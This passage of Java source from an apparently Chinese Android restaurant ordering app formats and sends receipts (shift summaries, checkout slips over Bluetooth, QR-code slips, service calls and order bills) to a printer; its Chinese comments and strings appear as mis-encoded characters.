(1=่‡ช็”ฑๆ”ถ้“ถ|2=ๅฎš้ขๆ”ถ้“ถ|3=่ฎขๅ•ๆ”ถ้“ถ)๏ผˆ้€—ๅท้š”ๅผ€๏ผ‰ๅˆคๆ–ญ้‡Œ้ขๆ˜ฏๅฆๅŒ…ๅซ1,2,3,ๆฅ่ฏ†ๅˆซๆ‰“ๅฐๅ†…ๅฎน */ @Override public void printShiftData(Activity activity, Date startTime, Date endTime, OrderSummaryData orderSummaryData, String selectedWay) { showDialog(activity); JSONArray arr = new JSONArray(); try { //ๆ‰“ๅฐ้ค้ฆ†ๅ arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", Restaurant_Name_FontSize).put("content", printRestaurantName(Share .get().getRestaurantName()))); arr.put(new JSONObject().put("offset", 0).put("fontType", 1).put("fontScale", 1).put("content", "")); arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", printRestaurantName("ไบค็ญๅ•"))); arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "ไบค็ญๆ—ถ้—ด")); //ๆ‰“ๅฐๅ‰ๅŠๅ†…ๅฎน String content = "-------------------------------"; arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", content)); arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "่ตท: " + DateUtils.format(startTime, "yyyy/MM/dd HH:mm"))); arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "ๆญข: " + DateUtils.format(endTime, "yyyy/MM/dd HH:mm"))); arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", content)); // ๆฑ‡ๆ€ป่ฎขๅ• compositeData(arr, selectedWay, orderSummaryData);//ๆ”ถ้“ถๆ˜Ž็ป†ๆ•ฐๆฎ arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", content)); arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "")); arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "ๆ‰“ๅฐๆ—ถ้—ด : " + DateUtils.format(new Date(), "yyyy/MM/dd HH:mm"))); arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "")); arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "ๅบ—้•ฟ : " + orderSummaryData.getUserName())); arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "")); arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "ๆ”ถ้“ถๅ‘˜็กฎ่ฎค : " + "_____________")); for (int i = 0; i < 8; i++) { arr.put(new JSONObject().put("offset", 0).put("fontType", 1).put("fontScale", 1).put("content", "")); } Intent intent = new Intent(); intent.setComponent(new ComponentName(MTPackageName, MTPrintName)); intent.putExtra("lines", arr.toString()); activity.startActivityForResult(intent, REQUEST_CODE_PRINT_TWO); } catch (JSONException e) { e.printStackTrace(); } } /** * ่‡ช็”ฑๆ”ถ้“ถๆ‰“ๅฐ * * @param activity * @param orderCollectBean ่‡ช็”ฑๆ”ถ้“ถ่ฎขๅ•ๆ˜Ž็ป† * @param isShowDialog */ @Override public void printChargeFreeOrder(Activity activity, OrderCollectData.OrderCollectBean orderCollectBean, boolean isShowDialog) { if (isShowDialog) { showDialog(activity); } // createChargeFreeOrder(activity, orderCollectBean); printChargeFreeOrderForBlue(orderCollectBean); } private void printChargeFreeOrderForBlue(OrderCollectData.OrderCollectBean orderCollectBean) { Observable.just("").subscribeOn(Schedulers.newThread()).flatMap(new Func1<String, Observable<Boolean>>() { @Override public Observable<Boolean> call(String s) { return Observable.just(BLE.get().init().connectDeviceByAddr()); } }).unsubscribeOn(Schedulers.newThread()).observeOn(AndroidSchedulers.mainThread()).subscribe(ss -> { if (ss) { try { OutputStream stream = BLE.get().mtBtSocket.getOutputStream(); // PrintUtils printUtils = new PrintUtils(); PrintUtils printUtils = PrintUtils.get(); printUtils.setOutputStream(stream); printChargeFreeOrderForBlue(orderCollectBean, printUtils); printChargeFreeOrderForBlue(orderCollectBean, printUtils); } catch (Exception e) { e.printStackTrace(); } } }); } private void printChargeFreeOrderForBlue(OrderCollectData.OrderCollectBean orderCollectBean, PrintUtils printUtils) { //ๆ‰“ๅฐ้ค้ฆ†ๅ String restaurantName = (TextUtils.isEmpty(orderCollectBean.getRestaurantName()) ? "ๆ——้ฑผ็‚น้ค" : orderCollectBean.getRestaurantName()); printUtils.selectCommand(PrintUtils.ALIGN_CENTER); printUtils.selectCommand(PrintUtils.DOUBLE_HEIGHT); printUtils.printText(getStringOutLine(restaurantName, 28) + "\n"); printUtils.selectCommand(PrintUtils.NORMAL); // printUtils.printText("\n่‡ช็”ฑๆ”ถ้“ถๅ•\n\n"); printUtils.printText(printUtils.printTwoData("\n" + "่‡ช็”ฑๆ”ถ้“ถๅ•", "ๆ”ถ้“ถๅ‘˜ " + ": " + (TextUtils.isEmpty(orderCollectBean.getCashierName()) ? Share.get() .getUserName() : orderCollectBean.getCashierName()) + "\n")); printUtils.selectCommand(PrintUtils.ALIGN_LEFT); //ๅˆ†ๅ‰ฒ็บฟ String content = "--------------------------------\n"; printUtils.printText(content); printUtils.selectCommand(PrintUtils.DOUBLE_HEIGHT); String orderNo = orderCollectBean.getOrderNo();//่ฎขๅ•ๅท printUtils.printText("่ฎขๅ•ๅฐพๅท" + ": " + (orderNo.substring(orderNo.length() - 4, orderNo.length())) + "\n"); printUtils.printText("่ฎขๅ•้‡‘้ข" + ": ๏ฟฅ" + dTs(orderCollectBean.getOriginalMoney()) + "\n"); printUtils.printText("ไผ˜ๆƒ ้‡‘้ข" + ": -๏ฟฅ" + dTs(orderCollectBean.getDiscountMoney()) + "\n"); printUtils.printText("ๅฎžๆ”ถ้‡‘้ข" + ": ๏ฟฅ" + dTs(orderCollectBean.getPayMoney()) + "\n"); printUtils.selectCommand(PrintUtils.NORMAL); // printUtils.printText(content); // printUtils.printText("ไผ˜ๆƒ ๆ–นๅผ" + " : " + (TextUtils.isEmpty(orderCollectBean.getGiftReturnName()) ? "ๆ— " : orderCollectBean.getGiftReturnName()) + "\n"); // printUtils.printText("ๆ”ถๆฌพๆ–นๅผ" + " : " + orderCollectBean.getPayType() + "\n"); // // double cashPayMoney = orderCollectBean.getCashPayMoney(); // if (cashPayMoney > 0) // { // printUtils.printText("ๅฎžๆ”ถ็Žฐ้‡‘" + " : ๏ฟฅ" + cashPayMoney + "\n"); // printUtils.printText("็Žฐ้‡‘ๆ‰พ้›ถ" + " : ๏ฟฅ" + orderCollectBean.getOddChange() + "\n"); // } // ๆ‰“ๅฐไผ˜ๆƒ ไฟกๆฏ List<PreferentialDetail> detailList = orderCollectBean.getPreferentialList(); if (null != detailList && detailList.size() > 0) { printUtils.printText("------------ไผ˜ๆƒ ๆ˜Ž็ป†------------\n\n");//ๅˆ†ๅ‰ฒ็บฟ for (PreferentialDetail detail : detailList) { printUtils.printText(detail.getPreferentialName() + ": -๏ฟฅ" + dTs(detail.getPreferentialMoney()) + "\n"); } } // ๆ‰“ๅฐ็ป“็ฎ—ๆ˜Ž็ป† printUtils.printText("------------็ป“็ฎ—ๆ˜Ž็ป†------------\n\n");//ๅˆ†ๅ‰ฒ็บฟ printUtils.printText("ๆ”ถๆฌพๆ–นๅผ" + ": " + orderCollectBean.getPayType() + "\n"); List<PayWayBean> payWayDetail = orderCollectBean.getPayWayDetail(); if (null != payWayDetail && payWayDetail.size() > 0) { for (PayWayBean detail : payWayDetail) { String payWay = detail.getPayWay() + ""; if (payWay.equals("็Žฐ้‡‘ๆ”ฏไป˜")) { payWay = "็Žฐ้‡‘ๆ”ถๆฌพ"; } printUtils.printText(payWay + ": " + dTs(detail.getPayMoney()) + "\n"); if (detail.getOddChange() > 0) { printUtils.printText("็Žฐ้‡‘ๆ‰พ้›ถ: " + dTs(detail.getOddChange()) + "\n"); } } } printUtils.printText("ไป˜ๆฌพๆ—ถ้—ด" + ": " + DateUtils.format(orderCollectBean.getPayTime(), "yyyy-MM-dd HH:mm:ss") + "\n"); printUtils.printText("ๆ”ถ้“ถๅค‡ๆณจ: " + (TextUtils.isEmpty(orderCollectBean.getCollectMoneyRemark()) ? "ๆ— " : orderCollectBean.getCollectMoneyRemark()) + "\n"); printUtils.printText(content); // printUtils.printText("ไป˜ๆฌพไบบ็ญพๅ :" + "\n\n\n"); if (isFrist) { printUtils.printText("ไป˜ๆฌพไบบ็ญพๅ: (ๅ•†ๆˆทๅญ˜ๆ น)\n\n\n"); } else { printUtils.printText(" (ๅฎขๆˆทๅญ˜ๆ น)\n\n\n"); } printUtils.printText("-------ๅˆ†ๅ‰ฒ็บฟ,่ฏทๆฒฟๆญค็บฟๆ’•ๅผ€------\n\n\n\n"); isFrist = !isFrist; } /** * ่ฎพ็ฝฎๅŒบไบŒ็ปด็ ๆ‰“ๅฐ * * @param activity * @param qrCodeBean * @param isShowDialog */ @Override public void printQRCode(Activity activity, QRCodeBean qrCodeBean, boolean isShowDialog) { if (isShowDialog) { showDialog(activity); } JSONArray arr = new JSONArray(); try { arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", Restaurant_Name_FontSize).put("content", printRestaurantName (qrCodeBean.getQrcodeName())));// ้ค้ฆ†ๅ็งฐ arr.put(new JSONObject().put("type", "qrcode").put("offset", 0).put("height", 395).put("content", qrCodeBean.getQrcodeUrl())); arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "")); arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", Restaurant_Name_FontSize).put("content", printRestaurantName (qrCodeBean.getQrcodeMark())));// ้ค้ฆ†่ฝๆฌพ for (int i = 0; i < 4; i++) { arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "")); } Intent intent = new Intent(); intent.setComponent(new ComponentName(MTPackageName, MTPrintName)); intent.putExtra("lines", arr.toString()); activity.startActivityForResult(intent, REQUEST_CODE_PRINT_TWO); } catch (JSONException e) { e.printStackTrace(); } } /** * ๅ‘็ฅจไบŒ็ปด็ ๆ‰“ๅฐ * * @param activity * @param qrCodeBean * @param isShowDialog */ @Override public void printQRCodeForInvoice(Activity activity, QRCodeBean qrCodeBean, boolean isShowDialog) { if (isShowDialog) { showDialog(activity); } JSONArray arr = new JSONArray(); try { arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", Restaurant_Name_FontSize).put("content", printRestaurantName (qrCodeBean.getQrcodeName())));// ้ค้ฆ†ๅ็งฐ arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", printRestaurantName(getStr(R.string .restaurant_artifact))));// ็”จ้คๆœๅŠก็ฅžๅ™จ๏ผŸ // mPrintManager.setPrnText(makeStrCenter(getStr(R.string.restaurant_artifact)).toString(), config); arr.put(new JSONObject().put("type", "qrcode").put("offset", 0).put("height", 395).put("content", qrCodeBean.getQrcodeUrl())); arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "")); arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", printRestaurantName(qrCodeBean.getQrcodeMark()))) ;// ้ค้ฆ†่ฝๆฌพ for (int i = 0; i < 4; i++) { arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "")); } Intent intent = new Intent(); intent.setComponent(new ComponentName(MTPackageName, MTPrintName)); intent.putExtra("lines", arr.toString()); activity.startActivityForResult(intent, REQUEST_CODE_PRINT_TWO); } catch (JSONException e) { e.printStackTrace(); } } /** * ๅ‘ผๅซๆœๅŠกๆ‰“ๅฐ * * @param activity * @param serviceTextBean * @param isShowDialog */ @Override public void printServiceText(Activity activity, ServiceTextBean serviceTextBean, boolean isShowDialog) { if (isShowDialog) { showDialog(activity); } JSONArray arr = new JSONArray(); try { String title, msg, printTime; title = getStr(R.string.server_text); msg = "\n" + serviceTextBean.getServiceText() + "\n\n"; printTime = getStr(R.string.print_time) + DateUtils.format(new Date(), "yyyy-MM-dd HH:mm:ss"); arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", Restaurant_Name_FontSize).put("content", printRestaurantName(title) ));// โ€œๅ‘ผๅซๆœๅŠกโ€ๆ ‡้ข˜ arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "")); arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", Restaurant_Name_FontSize).put("content", msg));// ๆœๅŠกไฟกๆฏ arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "")); arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", printTime));// ๆ‰“ๅฐๆ—ถ้—ด for (int i = 0; i < 4; i++) { arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "")); } //ๅผ€ๅง‹ๆ‰“ๅฐ Intent intent = new Intent(); intent.setComponent(new ComponentName(MTPackageName, MTPrintName)); intent.putExtra("lines", arr.toString()); activity.startActivityForResult(intent, REQUEST_CODE_PRINT_TWO); } catch (Exception e) { e.printStackTrace(); L.e("printerๅผ‚ๅธธ" + e.toString()); } } /** * ่ฎขๅ•ๆ‰“ๅฐๆจกๆฟ * * @param arr ๆ‰“ๅฐJSONArrayๆ‹ผๆŽฅ็š„ๆ•ฐๆฎ * @param orderMain ็‚นๅ•ๆ•ฐๆฎ */ private void printOrderData(JSONArray arr, OrderMain orderMain) { List<OrderDetail> orderDetails = new ArrayList<>(); orderDetails.clear(); orderDetails.addAll(orderMain.getOrderDetailModelList()); boolean isChange = false;// ๆ˜ฏๅฆๆ›ดๆขๆกŒๅทๅ’Œ่ฎขๅ•ๅฐพๅทๆ‰“ๅฐ็š„ไฝ็ฝฎ if (Share.get().getIsCall() == AppEnumHelp.IS_CALL_1.getValue()) { isChange = true; } try { //ๆ‰“ๅฐ้ค้ฆ†ๅ String restaurantName = (TextUtils.isEmpty(orderMain.getRestaurantName()) ? "ๆ——้ฑผ็‚น้ค" : orderMain.getRestaurantName()); arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", Restaurant_Name_FontSize).put("content", printRestaurantName (restaurantName))); arr.put(new JSONObject().put("offset", 0).put("fontType", 1).put("fontScale", 1).put("content", "")); if (orderMain.getMainStatus() == 2) { arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", printRestaurantName("็ป“่ดฆๅ•"))); } else { arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", printRestaurantName("ๆถˆ่ดนๅ•"))); } arr.put(new JSONObject().put("offset", 0).put("fontType", 1).put("fontScale", 1).put("content", "")); arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", Restaurant_Name_FontSize).put("content", (isChange ? (" " + "่ฎขๅ•ๅฐพๅท:" + orderMain.getTailNo()) : (" ๆกŒๅท:" + orderMain.getMainDesk())))); //ๆ‰“ๅฐๅ‰ๅŠๅ†…ๅฎน String content = "-------------------------------"; arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", content));//ๅˆ†ๅ‰ฒ็บฟ arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "็”จ้คไบบๆ•ฐ:" + orderMain.getMainGuests() + (isChange ? (" " + "" + " ๆกŒๅท:" + orderMain.getMainDesk()) : (" ่ฎขๅ•ๅฐพๅท:" + orderMain.getTailNo())))); arr.put(new JSONObject().put("offset", 0).put("fontType", 1).put("fontScale", 1).put("content", "")); arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "ไธ‹ๅ•ๅ‘˜:" + orderMain.getCreaterName())); arr.put(new JSONObject().put("offset", 0).put("fontType", 1).put("fontScale", 1).put("content", "")); arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "ไธ‹ๅ•ๆ—ถ้—ด:" + DateUtils.formatDateTime(orderMain .getCreateAt(), "yyyy/MM/dd HH:mm"))); if (orderMain.getMainStatus() == 2) { arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "ไป˜ๆฌพๆ—ถ้—ด:" + DateUtils.formatDateTime(orderMain .getPayTime(), "yyyy/MM/dd HH:mm"))); } if (!TextUtils.isEmpty(orderMain.getPackageRemark())) { arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "ๅฑžๆ€ง:" + orderMain.getMainRemark())); } arr.put(new JSONObject().put("offset", 0).put("fontType", 1).put("fontScale", 1).put("content", "")); arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", content));//ๅˆ†ๅ‰ฒ็บฟ arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "ๅ“ๅ " + " ๆ•ฐ้‡ ๆ€ปไปท")); arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", content));//ๅˆ†ๅ‰ฒ็บฟ printFoods(arr, orderDetails, orderMain.getMainStatus());// ๆ‰“ๅฐ่œๅ“ๅˆ—่กจ printAddFoods(arr, orderDetails);// ๆ‰“ๅฐๅŠ ่œๅˆ—่กจ // ๆ‰“ๅฐ้คไฝ่ดน List<OrderDetail> details = createFeeForDetails(orderMain); if (!details.isEmpty()) { arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", content));//ๅˆ†ๅ‰ฒ็บฟ printFoods(arr, details, orderMain.getMainStatus()); } arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", content));//ๅˆ†ๅ‰ฒ็บฟ if (!TextUtils.isEmpty(orderMain.getMainRemark())) { arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "ๅค‡ๆณจ :" + " " + orderMain.getMainRemark())); } double count = getTotalCount(orderDetails);// ๆ•ฐ้‡ๅˆ่ฎก arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", Restaurant_Name_FontSize).put("content", "ๆ•ฐ้‡ๅˆ่ฎก : " + orderMain .getFoodCountTotal())); arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", Restaurant_Name_FontSize).put("content", "้‡‘้ขๅˆ่ฎก : " + dTs(orderMain .getOriginalMoney()))); if (orderMain.getSpecialMoney() > 0 && orderMain.getMainStatus() == 2) { if (0 != orderMain.getGiftReturnId()) { arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", Restaurant_Name_FontSize).put("content", "ไผ˜ๆƒ ๆŠ˜ๆ‰ฃ : " + orderMain.getGiftReturnName())); } else { arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", Restaurant_Name_FontSize).put("content", "ไผ˜ๆƒ ๆŠ˜ๆ‰ฃ : " + "ไผšๅ‘˜ไผ˜ๆƒ ")); } arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", Restaurant_Name_FontSize).put("content", "ไผ˜ๆƒ ้‡‘้ข : " + dTs (orderMain.getSpecialMoney()))); } if (0.0 < orderMain.getClearMoney() && orderMain.getMainStatus() == 2) { arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", Restaurant_Name_FontSize).put("content", "ๆŠน้›ถ้‡‘้ข : " + dTs (orderMain.getClearMoney()))); } if (orderMain.getMainStatus() == 2) { arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", Restaurant_Name_FontSize).put("content", "ๅฎžๆ”ถ้‡‘้ข : " + dTs (orderMain.getPaidUpAmount()))); } if (!TextUtils.isEmpty(orderMain.getPayType()) && orderMain.getMainStatus() == 2) { arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", Restaurant_Name_FontSize).put("content", "ๆ”ฏไป˜ๆ–นๅผ : " + orderMain .getPayType())); } arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", Restaurant_Name_FontSize).put("content", "")); arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "ๆ‰“ๅฐๆ—ถ้—ด : " + DateUtils.format(new Date(), "yyyy/MM/dd HH:mm"))); String inscribed = Share.get().getPrintInscribed();//่ฝๆฌพ if (!TextUtils.isEmpty(inscribed)) { arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "")); arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", Restaurant_Name_FontSize).put("content", printRestaurantName (inscribed))); } for (int i = 0; i < 3; i++) { arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "")); } arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "-------ๅˆ†ๅ‰ฒ็บฟ,่ฏทๆฒฟๆญค็บฟๆ’•ๅผ€------")); for (int i = 0; i < 5; i++) { arr.put(new JSONObject().put("offset", 0).put("fontType", 1).put("fontScale", 1).put("content", "")); } } catch (JSONException e) { e.printStackTrace(); L.e("่ฎขๅ•ๆ•ฐๆฎๅ‡บ้”™"); } } /** * ๆ‰“ๅฐ้ค้ฆ†ๅ ๅฑ…ไธญ * * @param restaurantName */ private String printRestaurantName(String restaurantName) { //้œ€่ฆๆ‰‹ๅŠจ่ฎก็ฎ—ๅฑ…ไธญ่ฎพ็ฝฎ็š„้•ฟๅบฆ String nameStr = "", tempStr; if (!TextUtils.isEmpty(restaurantName)) { int titleSpace = restaurantName.length() % 16;//ๅฐ†้ค้ฆ†ๅๅฏน16ๅ–ไฝ™ if (titleSpace == 0) //้ค้ฆ†ๅไธบ16ๅญ—็ฌฆ็š„ๅ€ๆ•ฐ { nameStr = restaurantName + "\n"; } else { if (restaurantName.length() < 16) //้ค้ฆ†ๅๅฐไบŽ16ๅญ—็ฌฆ { for (int i = 0; i < 16 - restaurantName.length(); i++) { nameStr += " "; } nameStr += restaurantName + "\n"; } else //้ค้ฆ†ๅๅคงไบŽ16ๅญ—็ฌฆ๏ผŒไธ”ไธไธบๅ€ๆ•ฐ { nameStr = restaurantName.substring(0, restaurantName.length() - titleSpace - 2); tempStr = restaurantName.substring(restaurantName.length() - titleSpace - 2); for (int i = 0; i < 14 - titleSpace; i++) { nameStr += " "; } nameStr += tempStr + "\n"; } } } return nameStr; } //ๆ‰“ๅฐ่œๅ“ๆ•ฐๆฎๆ˜Ž็ป† private void printFoods(JSONArray arr, List<OrderDetail> orderDetails, int mainStatus) { for (OrderDetail orderDetail : orderDetails) { // mainStatus; //่ฎขๅ•็Šถๆ€(1=ๅˆๅง‹|2=ๆ”ฏไป˜ๆˆๅŠŸ|8=้คๅŽๆ”ฏไป˜ๅทฒ็กฎ่ฎค|9=้คๅŽๆ”ฏไป˜ๅทฒๅ–ๆถˆ) @mock=1๏ผˆ1 ใ€8 ใ€9ๆœชๆ”ฏไป˜ 2๏ผšๅทฒๆ”ฏไป˜๏ผ‰ // addState;//0ๆ™ฎ้€š 1ๅŠ ่œ 2้€€่œ if (orderDetail.getAddState() == 1 || (mainStatus == 2 && orderDetail.getAddState() == 2)) { continue; } try { arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", printSingleFood(length_1, length_2, length_3, orderDetail))); } catch (JSONException e) { e.printStackTrace(); } } } //ๅŠ ่œๅ•่œๅ“ๅˆ—่กจ private void printAddOrderFoods(JSONArray arr, List<OrderDetail> orderDetailModelList) { for (OrderDetail bean : orderDetailModelList) { try { arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", printSingleFood(length_1, length_2, length_3, bean))); } catch (JSONException e) { e.printStackTrace(); } } } //ๆ‰“ๅฐๅŠ ่œๆ•ฐๆฎๆ˜Ž็ป† private void printAddFoods(JSONArray arr, List<OrderDetail> orderDetails) { boolean isPrint = false; for (OrderDetail orderDetail : orderDetails) { try { if (orderDetail.getAddState() != 1) { continue; } // ๅฆ‚ๆžœๆ˜ฏๅŠ ่œ if (!isPrint) { arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "--------------ๅŠ ่œ-------------")); isPrint = true; } arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", printSingleFood(length_1, length_2, length_3, orderDetail))); } catch (JSONException e) { e.printStackTrace(); } } } /** * ๆฑ‡ๆ€ปๆ‰“ๅฐไธญๅฏน่ฟ‡้•ฟ้ค้ฆ†ๅ็š„ๅค„็† * * @param srcStr ๅŽŸๅ็งฐ * @param seprator ้œ€่ฆๆ’ๅ…ฅ็š„ๅญ—็ฌฆ * @param count ้—ด้š”ๅ‡ ไธชๅญ—็ฌฆๅŠ ๆ’ๅ…ฅๅญ—็ฌฆ * @return ๅค„็†ๅŽ็š„ๅญ—็ฌฆไธฒ */ // private String setRestaurantName(String srcStr, String seprator, int count) // { // StringBuffer sb = new StringBuffer(srcStr); // int index = count; // while (sb.length() > count && index < sb.length() - 1) // { // sb.insert(index, seprator); // index += count + seprator.length(); // } // return sb.toString(); // } /** * ็ป„ๅˆๆฑ‡ๆ€ป่ฎขๅ•ๆ˜Ž็ป†ๆ•ฐๆฎ */ private void compositeData(JSONArray arr, String selectedWay, OrderSummaryData orderSummaryData) { try { arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "่ฎขๅ•ๆฑ‡ๆ€ป")); arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "่ฎขๅ•ๆ€ปไปฝๆ•ฐ:" + orderSummaryData.getTotalNumber())); arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "่ฎขๅ•ๅทฒๆ”ฏไป˜ไปฝๆ•ฐ:" + orderSummaryData.getPaidNumber())); arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "่ฎขๅ•ๆœชๆ”ฏไป˜ไปฝๆ•ฐ:" + orderSummaryData.getUnpaidNumber())); arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "่ฎขๅ•ๆ€ป้‡‘้ข:" + orderSummaryData.getTotalMoney())); arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "ๅทฒไป˜ๆฌพ้‡‘้ข:" + orderSummaryData.getPaidMoney())); arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "ๆœชไป˜ๆฌพ้‡‘้ข:" + orderSummaryData.getUnpaidMoney())); arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "")); arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "ๆ”ถ้“ถๆ˜Ž็ป†(ๅฎžๆ”ถ้‡‘้ข)")); arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "")); if (selectedWay.contains("3")) {//่ฎขๅ•ๆ”ถ้“ถ arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "่ฎขๅ•ๆ”ถ้“ถ")); arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "่ฎขๅ•ๆ€ปไปฝๆ•ฐ:" + orderSummaryData .getOrderTotalNumber())); arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "่ฎขๅ•ๅทฒๆ”ฏไป˜ไปฝๆ•ฐ:" + orderSummaryData .getOrderPaidNumber())); arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "่ฎขๅ•ๆœชๆ”ฏไป˜ไปฝๆ•ฐ:" + orderSummaryData .getOrderUnpaidNumber())); arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "่ฎขๅ•ๆ€ป้‡‘้ข:" + orderSummaryData .getOrderTotalMoney())); arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "่ฎขๅ•ๅทฒไป˜้‡‘้ข:" + orderSummaryData .getOrderPaidMoney())); arr.put(new JSONObject().put("offset", 0).put("fontType", 2).put("fontScale", 1).put("content", "่ฎขๅ•ๆœชไป˜้‡‘้ข:" + orderSummaryData .getOrderUnpaidMoney())); printNoZero("ๅพฎไฟกๆ”ฏไป˜:", orderSummaryData.getOrderWeChatMoney(), arr); printNoZero("ๆ”ฏไป˜ๅฎๆ”ฏไป˜:", orderSummaryData.getOrderAliMoney(), arr); printNoZero("ๅˆทๅกๆ”ฏไป˜:", orderSummaryData.getOrderCardMoney(), arr); printNoZero("POSๆœบๆ‰ซ็ ๆ”ฏไป˜:", orderSummaryData.getOrderPostMoney(), arr); printNoZero("็Žฐ้‡‘ๆ”ฏไป˜:", orderSummaryData.getOrderCashMoney(), arr); printNoZero("่ต ้€ๅ…ๅ•:", orderSummaryData.getOrderFreeMoney(), arr); printNoZero("ๅญ˜็ฅจไผšๅ‘˜ๆ”ฏไป˜:", orderSummaryData.getOrderCunPiaoMoney(), arr); printNoZero("ไธชไบบๅพฎไฟก(่ฎฐๅฝ•):", orderSummaryData.getOrderWechatRecordMoney(), arr); printNoZero("ไธชไบบๆ”ฏไป˜ๅฎ(่ฎฐๅฝ•):", orderSummaryData.getOrderAliRecordMoney(), arr); printNoZero("ๅฅฝๅ“’ๆ”ฏไป˜(่ฎฐๅฝ•):", orderSummaryData.getOrderHdRecordMoney(), arr); printNoZero("ไผšๅ‘˜ๅ‚จๅ€ผๅก(่ฎฐๅฝ•):", 